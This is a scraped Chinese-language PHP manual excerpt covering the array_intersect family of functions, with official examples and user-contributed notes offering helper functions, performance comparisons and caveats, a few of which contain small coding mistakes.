When you do array_flip, it takes the last key accurence for each value, but be aware that keys order in flipped array will be in the order, values were first seen in original array. For example, array:

    [1] => 1
    [2] => 2
    [3] => 3
    [4] => 3
    [5] => 2
    [6] => 1
    [7] => 1
    [8] => 3
    [9] => 3

After flipping will become:
(first seen value -> first key)

    [1] => 7
    [2] => 5
    [3] => 9

And not anything like this:
(last seen value -> last key)

    [2] => 5
    [1] => 7
    [3] => 9

In my application I needed to find five most recently commented entries. I had a sorted comment-id => entry-id array, and what popped in my mind is just do array_flip($array), and I thought I now would have last five entries in the array as most recently commented entry => comment pairs. In fact it wasn't (see above, as it is the order of values used). To achieve what I need I came up with the following (in case someone will need to do something like that):

First, we need a way to flip an array, taking the first encountered key for each of values in array. You can do it with:

  $array = array_flip(array_unique($array));

Well, and to achieve that "last comments" effect, just do:

  $array = array_reverse($array, true);
  $array = array_flip(array_unique($array));
  $array = array_reverse($array, true);

In the example from the very beginning array will become:

    [2] => 5
    [1] => 7
    [3] => 9

Just what I (and maybe you?) need. =^_^=
znailz at yahoo dot com 05-Aug-2003 02:42
I know a lot of people want a function to remove a key by value from an array. I saw solutions that iterate(!) though the whole array comparing value by value and then unsetting that value's key. PHP has a built-in function for pretty much everything (heard it will even cook you breakfast), so if you think "wouldn't it be cool if PHP had a function to do that...", odds are it already has. Check out this example. It takes a value, gets all keys for that value if it has duplicates, unsets them all, and returns a reindexed array.

<?php
$arr = array(11,12,13,12);        // sample array
$arr = array_flip($arr);
unset($arr[12]);
$arr = array(array_keys($arr));
?>

$arr contains:

Array
(
    [0] => Array
        (
            [0] => 11
            [1] => 13
        )
?>

)


带索引检查计算数组的交集

  • ? array_flip
  • array_intersect_key ?
  • PHP Manual
  • 数组 函数
  • 带索引检查计算数组的交集

array_intersect_assoc

(PHP 4 >= 4.3.0, PHP 5, PHP 7)

array_intersect_assoc — 带索引检查计算数组的交集

说明

array_intersect_assoc ( array $array1 , array $array2 [, array $... ] ) : array

array_intersect_assoc() 返回一个数组，该数组包含了所有在 array1 中也同时出现在所有其它参数数组中的值。注意和 array_intersect() 不同的是键名也用于比较。

参数

array1

要检查的主值。

array2

要比较的数组。

...

要对比的数组变量的列表。

返回值

返回数组，该数组包含了所有在 array1 中也同时出现在所有其它参数数组中的值。

范例

Example #1 array_intersect_assoc() 例子

<?php
$array1 = array("a" => "green", "b" => "brown", "c" => "blue", "red");
$array2 = array("a" => "green", "b" => "yellow", "blue", "red");
$result_array = array_intersect_assoc($array1, $array2);
print_r($result_array);
?>

以上例程会输出：

Array
(
    [a] => green
)

上面例子中可以看到只有键值对 "a" => "green" 在两个数组中都存在从而被返回。值 "red" 没有被返回是因为在 $array1 中它的键名是 0 而在 $array2 中 "red" 的键名是 1，键 "b" 没有返回的原因是它的值和其他数组不同。

键值对 key => value 中的两个值仅在 (string) $elem1 === (string) $elem2 时被认为相等。也就是说使用了严格检查，字符串的表达必须相同。

参见

  • array_intersect() - 计算数组的交集
  • array_uintersect_assoc() - 带索引检查计算数组的交集，用回调函数比较数据
  • array_intersect_uassoc() - 带索引检查计算数组的交集，用回调函数比较索引
  • array_uintersect_uassoc() - 带索引检查计算数组的交集，用单独的回调函数比较数据和索引
  • array_diff() - 计算数组的差集
  • array_diff_assoc() - 带索引检查计算数组的差集

User Contributed Notes

Jim Yaghi 23-May-2017 06:25
Remember, null values will be interpreted as, "key does not exist." eg,

$a = ['apples' => 1, 'oranges' => 2, 'turtles' => null, 'bananas'=>4];
$b = ['apples'=>10, 'turtles' => 11, 'eggs'=>12];
$c = array_intersect_assoc($b,$a);

You might have expected $c to contain:

['oranges' => 10, 'turtles' => 11]

In fact, 'turtles' has a null value in the $a array, therefore the $c array contains only:

['oranges' => 10]

Something to keep in mind if using array_intersect_assoc to filter valid entries, eg in a mySQL insertion pre-processing or nerdy API that doesn't like extra params.
Whitend 04-Aug-2012 08:08
One of the ways to get intersection of two arrays is as follows:

<?php
function arrayIntersect( $primary_array, $secondary_array ) {

    if ( !is_array( $primary_array ) || !is_array( $secondary_array ) ) {
        return false;
    }

    if ( !empty( $primary_array ) ) {

        foreach( $primary_array as $key => $value ) {

            if ( !isset( $secondary_array[$key] ) ) {
                unset( $primary_array[$key] );
            } else {
                if ( serialize( $secondary_array[$key] ) != serialize( $value ) ) {
                    unset( $primary_array[$key] );
                }
            }

        }

        return $primary_array;

    } else {
        return array();
    }

}
?>

It would pay attention to both keys and values even if values would be arrays as well. One important note is that if value of $primary_array is yet another array, its order of key & value pairs becomes important for matching.
StR: str at strgt dot cjb dot net 13-Oct-2005 05:34
To find the keys that are in 2 arrays, without caring of the values:

This is a function i needed, and it also returns the values of the first array

<?php
function array_key_intersect(&$a, &$b) {
  $array = array();
  while (list($key,$value) = each($a)) {
    if (isset($b[$key]))
      $array[$key] = $value;
  }
  return $array;
}
?>
vandor at progressive dot hu 14-Dec-2004 11:26
# ket tomb kulcs alapu metszetet szamitja ki, az erteken is ellenorzest vegez
#
# calculating (key base) intersection of arrays (value are checked)
# use: $result_array = array_intersect_assoc($a1, $a2, $a3,..);
#
##
# original code by [jochem at iamjochem dawt com] : array_diff_keys()

<?php
function array_intersect_assoc() {

    $args = func_get_args();
    $res = $args[0];

    for ($i=1;$i<count($args);$i++) {
        if (!is_array($args[$i])) {continue;}

        foreach ($res as $key => $data) {
            if ( (!array_key_exists($key, $args[$i])) || ( (isset($args[$i][$key])) && ($args[$i][$key] !== $res[$key]) ) ) {
                unset($res[$key]);
            }
        }
    }

    return $res;
}

?>

<?php
$array1 = array("a"=>"green", "b"=>"brown", "c"=>"blue", "red");
$array2 = array("a"=>"green", "b"=>"yellow", "c"=>"yellow", "red");
$a = array('a'=>'green', 'b'=>'brown', 'c'=>'yellow');
$b = array('a'=>'green', 'b'=>'brown', 'c'=>'yellow', 'e'=>'yellow');

$result_array = array_intersect_assoc($a, $b, $array1, $array2);
?>

$args array will look like:

(
    0 =>
        (
            a => green
            b => brown
            c => yellow
        )

    1 =>
        (
            a => green
            b => brown
            c => yellow
            e => yellow
        )

    2 =>
        (
            a => green
            b => brown
            c => blue
            0 => red
        )

    3 =>
        (
            a => green
            b => yellow
            c => yellow
            0 => red
        )

)

$result_array will look like:

(
    a => green
)


使用键名比较计算数组的交集

  • ? array_intersect_assoc
  • array_intersect_uassoc ?
  • PHP Manual
  • 数组 函数
  • 使用键名比较计算数组的交集

array_intersect_key

(PHP 5 >= 5.1.0, PHP 7)

array_intersect_key — 使用键名比较计算数组的交集

说明

array_intersect_key ( array $array1 , array $array2 [, array $... ] ) : array

array_intersect_key() 返回一个数组，该数组包含了所有出现在 array1 中并同时出现在所有其它参数数组中的键名的值。

参数

array1

The array with master keys to check.

array2

An array to compare keys against.

...

A variable list of arrays to compare.

返回值

Returns an associative array containing all the entries of array1 which have keys that are present in all arguments.

范例

Example #1 array_intersect_key() 例子

<?php
$array1 = array('blue'  => 1, 'red'  => 2, 'green'  => 3, 'purple' => 4);
$array2 = array('green' => 5, 'blue' => 6, 'yellow' => 7, 'cyan'   => 8);

var_dump(array_intersect_key($array1, $array2));
?>

以上例程会输出：

array(2) {
  ["blue"]=>
  int(1)
  ["green"]=>
  int(3)
}

上例中可以看到只有 'blue' 和 'green' 两个键名出现在两个数组中，因此被返回。此外注意 'blue' 和 'green' 的值在两个数组中是不同的。但因为只检查键名，因此还是匹配。返回的值只是 array1 中的。

在 key => value 对中的两个键名仅在 (string) $key1 === (string) $key2 时被认为相等。换句话说，执行的是严格类型检查，因此字符串的表达必须完全一样。

参见

  • array_diff() - 计算数组的差集
  • array_udiff() - 用回调函数比较数据来计算数组的差集
  • array_diff_assoc() - 带索引检查计算数组的差集
  • array_diff_uassoc() - 用用户提供的回调函数做索引检查来计算数组的差集
  • array_udiff_assoc() - 带索引检查计算数组的差集，用回调函数比较数据
  • array_udiff_uassoc() - 带索引检查计算数组的差集，用回调函数比较数据和索引
  • array_diff_key() - 使用键名比较计算数组的差集
  • array_diff_ukey() - 用回调函数对键名比较计算数组的差集
  • array_intersect() - 计算数组的交集
  • array_intersect_assoc() - 带索引检查计算数组的交集
  • array_intersect_uassoc() - 带索引检查计算数组的交集，用回调函数比较索引
  • array_intersect_ukey() - 用回调函数比较键名来计算数组的交集

User Contributed Notes

Reed Silver 02-Mar-2015 11:38
If you want an array that has no key value pairs added from the second array:

$new = array_intersect_key($b, $a) + $a;
github.com/xmarcos 12-May-2014 05:47
[Editor's note: changed array_merge_recursive() to array_replace_recursive() to fix the script]

Here is a better way to merge settings using some defaults as a whitelist.

<?php

$defaults = [
    'id'            => 123456,
    'client_id'     => null,
    'client_secret' => null,
    'options'       => [
        'trusted' => false,
        'active'  => false
    ]
];

$options = [
    'client_id'       => 789,
    'client_secret'   => '5ebe2294ecd0e0f08eab7690d2a6ee69',
    'client_password' => '5f4dcc3b5aa765d61d8327deb882cf99', // ignored
    'client_name'     => 'IGNORED',                          // ignored
    'options'         => [
        'active' => true
    ]
];

var_dump(
    array_replace_recursive($defaults,
        array_intersect_key(
            $options, $defaults
        )
    )
);

?>

Output:

array (size=4)
    'id'            => int 123456
    'client_id'     => int 789
    'client_secret' => string '5ebe2294ecd0e0f08eab7690d2a6ee69' (length=32)
    'options'       =>
        array (size=2)
            'trusted' => boolean false
            'active'  => boolean true
pixelf3hler at visualize-me dot de 28-Sep-2013 08:08
in case you came here looking for a function that returns an array containing the values of `all` arrays with intersecting keys:
<?php
   function array_merge_on_key($key, $array1, $array2) {
      $arrays = array_slice(func_get_args(), 1);
      $r = array();
      foreach($arrays as &$a) {
         if(array_key_exists($key, $a)) {
            $r[] = $a[$key];
            continue;
         }
      }
      return $r;
   }
   // example:
   $array1 = array("id" => 12, "name" => "Karl");
   $array2 = array("id" => 4, "name" => "Franz");
   $array3 = array("id" => 9, "name" => "Helmut");
   $array4 = array("id" => 10, "name" => "Kurt");

   $result = array_merge_on_key("id", $array1, $array2, $array3, $array4);

   echo implode(",", $result); // => 12,4,9,10
?>
vladas dot dirzys at gmail dot com 13-Aug-2012 08:03
Simple key white-list filter:

<?php
$arr = array('a' => 123, 'b' => 213, 'c' => 321);
$allowed = array('b', 'c');

print_r(array_intersect_key($arr, array_flip($allowed)));
?>

Will return:
Array
(
    [b] => 213
    [c] => 321
)
pgl at yoyo dot org 18-Jul-2011 08:01
Note that the order of the keys in the returned array is the same as the order of the keys in the source array. eg:

<?php
$array = array(
    'two'   => 'a',
    'three' => 'b',
    'one'   => 'c',
    );

$keyswant = array(
    'one'       => '',
    'three'     => '',
    );

print_r(array_intersect_key($array, $keyswant));

?>

Shows:

Array
(
    [three] => b
    [one] => c
)
chrisbloom7 at gmail dot com 11-Nov-2009 10:23
Regarding php at keithtylerdotcom solution to emulate

<?php
$z = someFuncReturningAnArray()['some_key'];
?>

His recommended solution will still return an array. To get the value of a single key in an array returned by a function, simply add implode() to the recipe:

<?php
function someFuncReturningAnArray() {
  return array(
    'a' => 'b',
    'c' => 'd',
    'e' => 'f',
    'g' => 'h',
    'i' => 'j'
  );
}

//traditional way
$temp = someFuncReturningAnArray();
$b = $temp['a'];
echo print_r($b, 1) . "\n----------\n";

//keithtylerdotcom one-line method
$b = array_intersect_key(someFuncReturningAnArray(), array('a'=>''));
echo print_r($b, 1) . "\n----------\n";

//better one line method
$b = implode('', array_intersect_key(someFuncReturningAnArray(), array('a'=>'')));
echo print_r($b, 1) . "\n----------\n";
?>
markus dot kappe at dix dot at 24-Sep-2009 04:43
<?php
    /**
     * calculates intersection of two arrays like array_intersect_key but recursive
     *
     * @param  array/mixed  master array
     * @param  array        array that has the keys which should be kept in the master array
     * @return array/mixed  cleand master array
     */
    function myIntersect($master, $mask) {
        if (!is_array($master)) { return $master; }
        foreach ($master as $k=>$v) {
            if (!isset($mask[$k])) { unset ($master[$k]); continue; } // remove value from $master if the key is not present in $mask
            if (is_array($mask[$k])) { $master[$k] = $this->myIntersect($master[$k], $mask[$k]); } // recurse when mask is an array
            // else simply keep value
        }
        return $master;
    }
?>
pdemaziere at gmail dot com 23-Feb-2009 07:52
Just a simple script if you want to use one array, which contains only zeros and ones, as mask for another one (both arrays must have the same size of course). $outcome is an array that contains only those values from $source where $mask is equal to 1.

<?php
$outcome = array_values(array_intersect_key( array_values($source), array_filter(array_values($mask)) ));
?>

PS: the array_values() function is necessary to ensure that both arrays have the same numbering/keys, otherwise your masking does not behave as you expect.

Enjoy!
CBWhiz at gmail dot com 04-Jan-2008 02:04
I have found the following helpful:
<?PHP
function array_merge_default($default, $data) {
        $intersect = array_intersect_key($data, $default); //Get data for which a default exists
        $diff = array_diff_key($default, $data); //Get defaults which are not present in data
        return $diff + $intersect; //Arrays have different keys, return the union of the two
}
?>
It's use is like both of the functions it uses, but keeps defaults and _only_ defaults. It's designed for key arrays, and i'm not sure how it will work on numeric indexed arrays.

Example:
<?PHP
$default = array(
 "one" => 1,
 "two" => 2
);
$untrusted = array(
 "one" => 42,
 "three" => 3
);
var_dump(array_merge_default($default, $untrusted));

array(2) {
  ["two"]=>
  int(2)
  ["one"]=>
  int(42)
}

?>
Rod Byrnes 05-May-2007 09:10
Here is a faster version than those shown below, with optimisation for the case when only two arrays are passed. In my tests with a 10000 item first array and a 5000 item second array (run 20 times) this function ran in 1.89 seconds compared with 2.66 for the version posted by dak. For a three array case, same as above but with the third array containing 3333 values, the timing is 3.25 for this version compared with 3.7 for dak's version.

<?php
if (!function_exists('array_intersect_key'))
{
  function array_intersect_key($isec, $keys)
  {
    $argc = func_num_args();
    if ($argc > 2)
    {
      for ($i = 1; !empty($isec) && $i < $argc; $i++)
      {
        $arr = func_get_arg($i);
        foreach (array_keys($isec) as $key)
        {
          if (!isset($arr[$key]))
          {
            unset($isec[$key]);
          }
        }
      }
      return $isec;
    }
    else
    {
      $res = array();
      foreach (array_keys($isec) as $key)
      {
        if (isset($keys[$key]))
        {
          $res[$key] = $isec[$key];
        }
      }
      return $res;
    }
  }
}
?>
17-Jul-2006 05:31
Here it is a more obvious way to implement the function:

if (!function_exists('array_intersect_key')) {
    function array_intersect_key()
    {
        $arrs = func_get_args();
        $result = array_shift($arrs);
        foreach ($arrs as $array) {
            foreach ($result as $key => $v) {
                if (!array_key_exists($key, $array)) {
                    unset($result[$key]);
                }
            }
        }
        return $result;
   }
}
Anton Backer 30-Mar-2006 11:49
Jesse: no, array_intersect_key does not accomplish the same thing as what you posted:

array_flip (array_intersect (array_flip ($a), array_flip ($b)))

because when the array is flipped, values become keys. having duplicate values is not a problem, but having duplicate keys is. array_flip resolves it by keeping only one of the duplicates and discarding the rest. by the time you start intersecting, you've already lost information.
aidan at php dot net 29-May-2005 08:51
This functionality is now implemented in the PEAR package PHP_Compat.

More information about using this function without upgrading your version of PHP can be found on the below link:

http://pear.php.net/package/PHP_Compat


带索引检查计算数组的交集，用回调函数比较索引

  • ? array_intersect_key
  • array_intersect_ukey ?
  • PHP Manual
  • 数组 函数
  • 带索引检查计算数组的交集，用回调函数比较索引

array_intersect_uassoc

(PHP 5, PHP 7)

array_intersect_uassoc — 带索引检查计算数组的交集，用回调函数比较索引

说明

array_intersect_uassoc ( array $array1 , array $array2 [, array $... ], callable $key_compare_func ) : array

array_intersect_uassoc() 返回一个数组，该数组包含了所有在 array1 中也同时出现在所有其它参数数组中的值。注意和 array_intersect() 不同的是键名也用于比较。

参数

array1

Initial array for comparison of the arrays.

array2

First array to compare keys against.

...

Variable list of array arguments to compare values against.

key_compare_func

在第一个参数小于，等于或大于第二个参数时，该比较函数必须相应地返回一个小于，等于或大于 0 的整数。

callback ( mixed $a, mixed $b ) : int

返回值

Returns the values of array1 whose values exist in all of the arguments.

范例

Example #1 array_intersect_uassoc() 例子

<?php
$array1 = array("a" => "green", "b" => "brown", "c" => "blue", "red");
$array2 = array("a" => "GREEN", "B" => "brown", "yellow", "red");

print_r(array_intersect_uassoc($array1, $array2, "strcasecmp"));
?>

以上例程会输出：

Array
(
    [b] => brown
)

参见

  • array_intersect() - 计算数组的交集
  • array_intersect_assoc() - 带索引检查计算数组的交集
  • array_uintersect_assoc() - 带索引检查计算数组的交集，用回调函数比较数据
  • array_uintersect_uassoc() - 带索引检查计算数组的交集，用单独的回调函数比较数据和索引
  • array_intersect_key() - 使用键名比较计算数组的交集
  • array_intersect_ukey() - 用回调函数比较键名来计算数组的交集

User Contributed Notes

There are no user contributed notes for this page.


用回调函数比较键名来计算数组的交集

  • ? array_intersect_uassoc
  • array_intersect ?
  • PHP Manual
  • 数组 函数
  • 用回调函数比较键名来计算数组的交集

array_intersect_ukey

(PHP 5 >= 5.1.0, PHP 7)

array_intersect_ukey — 用回调函数比较键名来计算数组的交集

说明

array_intersect_ukey ( array $array1 , array $array2 [, array $... ], callable $key_compare_func ) : array

array_intersect_ukey() 返回一个数组，该数组包含了所有出现在 array1 中并同时出现在所有其它参数数组中的键名的值。

参数

array1

Initial array for comparison of the arrays.

array2

First array to compare keys against.

...

Variable list of array arguments to compare keys against.

key_compare_func

在第一个参数小于，等于或大于第二个参数时，该比较函数必须相应地返回一个小于，等于或大于 0 的整数。

callback ( mixed $a, mixed $b ) : int

返回值

Returns the values of array1 whose keys exist in all the arguments.

范例

Example #1 array_intersect_ukey() 例子

<?php
function key_compare_func($key1, $key2)
{
    if ($key1 == $key2)
        return 0;
    else if ($key1 > $key2)
        return 1;
    else
        return -1;
}

$array1 = array('blue'  => 1, 'red'  => 2, 'green'  => 3, 'purple' => 4);
$array2 = array('green' => 5, 'blue' => 6, 'yellow' => 7, 'cyan'   => 8);

var_dump(array_intersect_ukey($array1, $array2, 'key_compare_func'));
?>

以上例程会输出：

array(2) {
  ["blue"]=>
  int(1)
  ["green"]=>
  int(3)
}

上例中可以看到只有 'blue' 和 'green' 两个键名出现在两个数组中，因此被返回。此外注意 'blue' 和 'green' 的值在两个数组中是不同的。但因为只检查键名，因此还是匹配。返回的值只是 array1 中的。

参见

  • array_diff() - 计算数组的差集
  • array_udiff() - 用回调函数比较数据来计算数组的差集
  • array_diff_assoc() - 带索引检查计算数组的差集
  • array_diff_uassoc() - 用用户提供的回调函数做索引检查来计算数组的差集
  • array_udiff_assoc() - 带索引检查计算数组的差集，用回调函数比较数据
  • array_udiff_uassoc() - 带索引检查计算数组的差集，用回调函数比较数据和索引
  • array_diff_key() - 使用键名比较计算数组的差集
  • array_diff_ukey() - 用回调函数对键名比较计算数组的差集
  • array_intersect() - 计算数组的交集
  • array_intersect_assoc() - 带索引检查计算数组的交集
  • array_intersect_uassoc() - 带索引检查计算数组的交集，用回调函数比较索引
  • array_intersect_key() - 使用键名比较计算数组的交集

User Contributed Notes

gk at anuary dot com 30-Sep-2013 04:52
"array_intersect_ukey" will not work if $key_compare_func is using regular expression to perform comparison. "_array_intersect_ukey" fully implements the "array_intersect_ukey" interface and handles properly boolean comparison. However, the native implementation should be preferred for efficiency reasons.

<?php
$key_compare_func = function ($a, $b) {
    var_dump('a=' . $a. '; b=' . $b);

    if (strpos($b, '/') === 0) {
        return preg_match($b, $a) > 0 ? 0 : -1;
    }

    if ($a == $b) {
        $weight = 0;
    } else if ($a > $b) {
        $weight = 1;
    } else {
        $weight = -1;
    }

    var_dump('literal comparison: ' . $weight);

    return $weight;
};

$foo = ['aab' => '', 'bbb' => '', 'ccb' => '', 'abb' => ''];
$bar = ['/[a-z]b[a-z]/' => ''];
$buz = ['/c[a-z][a-z]/' => ''];

echo PHP_EOL . 'array_intersect_ukey' . PHP_EOL . PHP_EOL;

$subject = array_intersect_ukey ($foo, $bar, $buz, $key_compare_func);

echo PHP_EOL;

var_dump($subject);

echo PHP_EOL . '_array_intersect_ukey' . PHP_EOL . PHP_EOL;

$subject = _array_intersect_ukey($foo, $bar, $buz, $key_compare_func);

echo PHP_EOL;

var_dump($subject);

/**
 * @author Gajus Kuizinas <gk@anuary.com>
 * @version 1.0.0 (2013 09 30)
 * @url https://gist.github.com/gajus/271ad5f36337a32a184c
 */
function _array_intersect_ukey (array $arr1, array $arr2, $key_compare_func) {
    $arr_matched = [];
    $arr_unmatched = [];

    $args = func_get_args();

    $key_compare_func = end($args);

    foreach ($arr1 as $k1 => $v1) {
        foreach ($arr2 as $k2 => $v2) {
            $diff = $key_compare_func($k1, $k2);

            //var_dump('k1=' . $k1 . ', k2=' . $k2 . ', diff=' . $diff);

            if ($diff === 0) {
                $arr_matched[$k1] = $v1;
            } else {
                $arr_unmatched[$k1] = $v1;
            }
        }
    }

    if (count($args) <= 3) {
        return $arr_matched;
    }

    array_splice($args, 0, 2, [$arr_unmatched]);

    return array_merge($arr_matched, call_user_func_array('_array_intersect_ukey', $args));
}

/*
array_intersect_ukey

string(12) "a=bbb; b=aab"
string(21) "literal comparison: 1"
string(12) "a=bbb; b=ccb"
string(22) "literal comparison: -1"
string(12) "a=abb; b=bbb"
string(22) "literal comparison: -1"
string(12) "a=aab; b=abb"
string(22) "literal comparison: -1"
string(22) "a=aab; b=/[a-z]b[a-z]/"
string(22) "a=abb; b=/[a-z]b[a-z]/"
string(22) "a=abb; b=/c[a-z][a-z]/"

array(0) {
}

_array_intersect_ukey

string(22) "a=aab; b=/[a-z]b[a-z]/"
string(22) "a=bbb; b=/[a-z]b[a-z]/"
string(22) "a=ccb; b=/[a-z]b[a-z]/"
string(22) "a=abb; b=/[a-z]b[a-z]/"
string(22) "a=aab; b=/c[a-z][a-z]/"
string(22) "a=ccb; b=/c[a-z][a-z]/"

array(3) {
  ["bbb"]=>
  string(0) ""
  ["abb"]=>
  string(0) ""
  ["ccb"]=>
  string(0) ""
}*/
?>


计算数组的交集

  • ? array_intersect_ukey
  • array_key_exists ?
  • PHP Manual
  • 数组 函数
  • 计算数组的交集

array_intersect

(PHP 4 >= 4.0.1, PHP 5, PHP 7)

array_intersect — 计算数组的交集

说明

array_intersect ( array $array1 , array $array2 [, array $... ] ) : array

array_intersect() 返回一个数组，该数组包含了所有在 array1 中也同时出现在所有其它参数数组中的值。注意键名保留不变。

参数

array1

要检查的数组，作为主值。

array2

要被对比的数组。

...

要对比的数组列表。

返回值

返回一个数组，该数组包含了所有在 array1 中也同时出现在所有其它参数数组中的值。

范例

Example #1 array_intersect() 例子

<?php
$array1 = array("a" => "green", "red", "blue");
$array2 = array("b" => "green", "yellow", "red");
$result = array_intersect($array1, $array2);
print_r($result);
?>

以上例程会输出：

Array
(
    [a] => green
    [0] => red
)

注释

Note: 两个单元仅在 (string) $elem1 === (string) $elem2 时被认为是相同的。也就是说，当字符串的表达是一样的时候。

参见

  • array_intersect_assoc() - 带索引检查计算数组的交集
  • array_diff() - 计算数组的差集
  • array_diff_assoc() - 带索引检查计算数组的差集

User Contributed Notes

Ehsan.Chavoshi.com 22-Jun-2019 05:15
I wrote this function to recursively replace array keys with array values (flip) and fill values with defined value. it can be used for recursive array intersect functions .

<?php
function array_values_to_keys_r($array, $fill_value = null)
{
    $flipped = [];
    foreach ($array as $key => $value) {
        if (is_array($value)) {
            $flipped [$key] = array_values_to_keys_r($value);
        } else {
            $flipped [$value] = $fill_value;
        }
    }
    return $flipped;
}
?>
zoolyka at gmail dot com 06-Oct-2018 07:38
If you have to intersect arrays of unique values then using array_intersect_key is about 20 times faster, just have to flip the key value pairs of the arrays, then flip the result again.

<?php

$one = range(1, 250000);
$two = range(50000, 150000);

$start = microtime(true);

$intersection = array_intersect($one, $two);

echo "Did it in ".( microtime(true) - $start )." seconds.\n";

$start = microtime(true);

$intersection = array_flip(array_intersect_key(array_flip($one), array_flip($two)));

echo "Did it in ".( microtime(true) - $start )." seconds.\n";

?>

Did it in 0.89163708686829 seconds.
Did it in 0.038213968276978 seconds.
ram 23-Aug-2018 10:08
$x = array('ram@hb.in', 'ram', 'rams@hb.in');
    $y = array('1231231231');
    $result=array_intersect($x,$z);
    $res = array_intersect($y, $z);
jake 31-Jan-2017 08:42
Also note that, even without the availability of the strict mode switch, false does not match 0:

array_intersect([false], [0]) == [];

Even in PHP 7.1
turabgarip at gmail dot com 29-Oct-2016 03:02
The reason that this function is considerably slow; is because it's comparing not only the values cross wise; but it also compares the array's own elements too.

For example you have two arrays like;

<?php
$arr1 = array('green', 'blue', 'black');
$arr2 = array('yellow', 'red', 'cyan');

array_intersect($arr1, $arr2);
?>

Intersection will start to compare from the first three colors like; "blue" to "green", "black" to "blue"; that are, the elements of the first array only, and yes, comparison order is arbitrary, but always in the same order.

It will do the same for the second array too.
juniorand at gmail dot com 07-Dec-2015 01:19
If you just need confirmation that there intersection (and will not use the return of the intersection). Just only returns a boolean.

<?php
    function eventsCodeIntersect()
    {
        $eventsCod = array(211, 220, 244);
        $eventsIntersect = array(220, 244);

        return (bool) array_intersect($array1, $array2);
    }
?>

In this case, the return is true.
deekay 01-Dec-2015 08:25
I ran into a problem (PHP 5.6) with array_intersect(), though i had no idea it was it at the time : using it properly created an array to string conversion notice, through this type of code (and with both array variables verified) :

<?php
if(empty($var = array_intersect($array1, $array2))) {
?>

Rewriting its supposed behaviour, even in a rather simple way, removed the notice. Not sure what caused the function to be unhappy but here's my code that works properly :

<?php
$var = [];
foreach($array1 as $v) {
   if(in_array($v, $var)) continue; // value already found
   if(in_array($v, $array2)) $var[] = $v;
}
if(empty($var)) {
?>
matang dot dave at gmail dot com 17-Jun-2015 02:34
Take care of value types while using array_intersect function as there is no option for strict type check as in in_array function.

$array1 = array(true,2);
$array2 = array(1, 2, 3, 4, 5, 6);

var_dump(array_intersect($array1, $array2));

result is :
array(2) {
        [0] =>  bool(true)
        [1]  =>  int(2)
}
info at iridsystem dot it 21-May-2015 06:16
This function is able to sort an array based on another array that contains the order of occurrence. The values that are not present will be transferred into the end of the resultant.
Questa funzione permette di ordinare i valori di un array ($tosort) basandosi sui valori contenuti in un secondo array ($base), i valori non trovati verranno posizionati alla fine dell'ordinamento senza un'ordine specifico.

<?
$base= array('one', 'two', 'three');

$tosort= array('a'=>'two', 'b'=>'three', 'c'=>'five', 'd'=>'one', 'and'=>'four', 'f'=>'one');

uasort($tosort, function($key1, $key2) use ($base) {
  $a1=array_search($key1, $base);
  $a2=array_search($key2, $base);

  if ( $a1===false && $a2===false ) { return 0; }
  else if ( $a1===false && $a2 !== false) { return 1; }
  else if ( $a1!==false && $a2 === false) {return -1;}

  if( $a1 > $a2 ) { return 1; }
  else if ( $a1 < $a2 ) { return -1; }
  else if ( $a1 == $a2 ) { return 0; }
});
var_dump($tosort);
/*
the resulting of $tosort
array
  'd' => string 'one' (length=3)
  'f' => string 'one' (length=3)
  'a' => string 'two' (length=3)
  'b' => string 'three' (length=3)
  'c' => string 'five' (length=6)
  'e' => string 'four' (length=7)
*/
Gabriel
?>
yuval at visualdomains dot com 17-May-2015 01:17
Using isset to achieve this, is many times faster:

<?php

 $m = range(1,1000000);
  $s = [2,4,6,8,10];

// Use array_intersect to return all $m values that are also in $s
  $tstart = microtime(true);
  print_r (array_intersect($m,$s));
  $tend = microtime(true);
  $time = $tend - $tstart;
  echo "Took $time";

 // Use array_flip and isset to return all $m values that are also in $s
  $tstart = microtime(true);
  $f = array_flip($s);
/* $f now looks like this:
(
    [2] => 0
    [4] => 1
    [6] => 2
    [8] => 3
    [10] => 4
)
*/
// $u will hold the intersected values
  $u = [];
  foreach ($m as $v) {
    if (isset($f[$v])) $u[] = $v;
  }
  print_r ($u);
   $tend = microtime(true);
  $time = $tend - $tstart;
  echo "Took $time";
?>

Results:

Array
(
    [1] => 2
    [3] => 4
    [5] => 6
    [7] => 8
    [9] => 10
)
Took 4.7170009613037
(
    [0] => 2
    [1] => 4
    [2] => 6
    [3] => 8
    [4] => 10
)
Took 0.056024074554443

array_intersect: 4.717
array_flip+isset: 0.056
tim at zeroedin dot com 27-Jan-2014 05:30
Note... this function does not seem intuitive for doing intersection of flat arrays, in the sense that an intersection are common values between. This is an issue if you are doing a for loop over the results of an intersect function, as shown below, wherein the for loop iterates over something different depending on order.

Below is example of a function whioch I think works correctly,  the output from original function, and new function.

function array_value_mutual_intersection($array1, $array2)
{
    $hashMap = array();
    $output = array();
    foreach($array1 as $item)
        $hashMap[$item] = '';
    foreach($array2 as $item)
        if(isset($hashMap[$item]))
            array_push($output, $item);
    return $output;
}

$a = ['one', 'two', 'three', 'four'];
$b = ['three', 'two'];

echo "Original array a = " . json_encode($a) . "\n";
echo "Original array b = " . json_encode($b) . "\n";

echo "PHP array_intersect says interesection of (a,b) is: " . json_encode(array_intersect($a,$b)) . "\n";
echo "PHP array_intersect says interesection of (b,a) is: " . json_encode(array_intersect($b,$a)) . "\n\n";

echo "My intersect function says intersection of (a,b) is: " . json_encode(array_value_mutual_intersection($a, $b)) . "\n";
echo "My intersect function says intersection of (b,a) is: " . json_encode(array_value_mutual_intersection($b, $a)) . "\n\n";

-------output------

$ php test.php
Original array a = ["one","two","three","four"]
Original array b = ["three","two"]
PHP array_intersect says interesection of (a,b) is: {"1":"two","2":"three"}
PHP array_intersect says interesection of (b,a) is: ["three","two"]

My intersect function says intersection of (a,b) is: ["three","two"]
My intersect function says intersection of (b,a) is: ["two","three"]
juliotorres1604 at hotmail dot com 21-Nov-2013 02:34
<?php
// Function to intersect n arrays

function getIntersect($arrays){
        $totalArrays = count($arrays);
        if($totalArrays >= 2){
                $arrayTmp =  $arrays[0];
                for ($i = 1; $i < $totalArrays; $i++) {
                    $arrayTmp = array_intersect($arrayTmp, $arrays[$i]);
                }
                return $arrayTmp;
        }else{
            return FALSE;
        }
    }

// Example:
$arrayTmp[0] = array('0'=>0, '1'=>7, '2'=>5);
$arrayTmp[1] = array('0'=>7, '1'=>5, '2'=>0, '3'=>15);
$arrayTmp[2] = array('0'=>3, '1'=>0, '2'=>7, '3'=>4);

$intersectArray = getIntersect($arrayTmp);
print_r($arrayFinal);
?>

The above example will output:

Array
(
    [0] => 0
    [1] => 7
)
